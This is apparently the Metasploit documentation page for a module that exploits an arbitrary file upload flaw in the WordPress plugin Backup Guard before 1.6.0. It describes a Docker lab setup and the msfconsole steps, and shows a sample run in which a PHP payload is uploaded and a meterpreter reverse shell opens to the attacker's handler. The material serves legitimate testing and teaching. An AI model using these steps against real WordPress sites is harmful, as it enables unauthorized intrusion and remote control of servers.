## Vulnerable Application

### Description

This module allows an attacker with a privileged Wordpress account to launch a reverse shell
due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard < 1.6.0.
This is due to an incorrect check of the uploaded file extension which should be of SGBP type.
Then, the uploaded payload can be triggered by a call to `/wp-content/uploads/backup-guard/my_payload.php`

### Installation

You can easily install Wordpress with Docker as explained [there]
(https://upcloud.com/community/tutorials/wordpress-with-docker/).
Then, you can download a vulnerable version of Backup Guard plugin from [there]
(https://downloads.wordpress.org/plugin/backup.1.5.8.zip)
and install it on your Wordpress website through the plugin page : Add New > Upload Plugin > Browse...

## Verification Steps

List the steps needed to make sure this thing works

1. Start `msfconsole`
2. `use exploit/multi/http/wordpress_plugin_backup_guard_rce`
3. `set USERNAME <admin_username>`
4. `set PASSWORD <admin_password>`
5. `set TARGETURI <base_path_wordpress>` if the base path of the Wordpress website is different from `/`
6. `check` to check if the targeted Wordpress website is vulnerable
7. `run` the module to exploit the vulnerability and start a reverse shell

## Options

### USERNAME

Set the USERNAME of your admin account.

### PASSWORD

Set the PASSWORD of your admin account.

## Scenarios

This module was successfully tested on Debian 10 with Wordpress 5.7.2 and Backup Guard 1.5.8.
See the following output :

```
msf > use wordpress_plugin_backup_guard_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(wordpress_plugin_backup_guard_rce) > set username admin
username => admin
msf exploit(wordpress_plugin_backup_guard_rce) > set password your_best_password
password => your_best_password
msf exploit(wordpress_plugin_backup_guard_rce) > set rhosts 192.168.37.1
rhosts => 192.168.37.1
msf exploit(wordpress_plugin_backup_guard_rce) > run

[*] Started reverse TCP handler on 192.168.37.133:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] Version 1.5.8 of plugin Backup Guard found !
[+] The target is vulnerable. This version of Backup Guard is vulnerable !
[*] Uploading file 'fsygw.php' containing the payload...
[*] Triggering the payload ...
[*] Sending stage (39282 bytes) to 192.168.37.1
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.1:52688) at 2021-07-08 16:44:01 +0200

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : 217a92584fbf
OS          : Linux 217a92584fbf 4.19.0-17-amd64 #1 SMP Debian 4.19.194-2 (2021-06-21) x86_64
Meterpreter : php/linux
```
